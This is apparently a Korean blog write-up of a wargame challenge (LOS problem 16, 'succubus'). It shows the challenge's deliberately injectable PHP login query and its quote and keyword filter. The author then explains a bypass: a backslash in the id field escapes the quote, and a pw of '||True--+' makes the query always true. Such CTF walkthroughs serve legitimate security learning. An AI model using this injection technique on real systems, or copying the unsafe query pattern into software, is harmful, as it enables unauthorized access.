[LOS] 16번 succubus 풀이
2019. 8. 7. 02:13ㆍ문제풀이/los.rubiya.kr
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("succubus");
highlight_file(__FILE__);
간만에 코딩 필요없는(할수도 없는)문제다!
금지문자열은 prob _ . () ' 이고, id와 pw 둘 다에 적용된다.
이 문제는 한번에 딱 보이는 사람은 바로 풀고, 아니면 엄청 고민해야하는 문제다.
아마 모르는 사람들은 ' 우회라고 검색할테니까 그걸로 태그 달아야지 ㅎㅎㅎㅎ
이 문제의 풀이는 정말 간단하다.
그냥 id = '[문자열]' 에 있는 뒤의 '를 %27가 아닌 문자 ' (%25%27)취급하면 된다.
즉, id에 \를 넣자. 그럼 다음과 같은 sql문이 된다.
select id from prob_succubus where id='\' and pw='[var2]'
즉, ' and pw= 이라는 문자열을 id로 갖는 쿼리문이 되는 것이다.
이를 활용하여 다음과 같은 쿼리문을 작성하자.
select id from prob_succubus where id='\' and pw='||True--+'
'문제풀이 > los.rubiya.kr' 카테고리의 다른 글
[LOS] 18번 nightmare 풀이 (0) | 2019.08.08 |
---|---|
[LOS] 17번 zombie_assassin 풀이 (0) | 2019.08.08 |
[LOS] 15번 assassin 풀이 (0) | 2019.08.07 |
[LOS] 14번 giant 풀이 (0) | 2019.08.07 |
[LOS] 13번 bugbear 풀이 (0) | 2019.08.07 |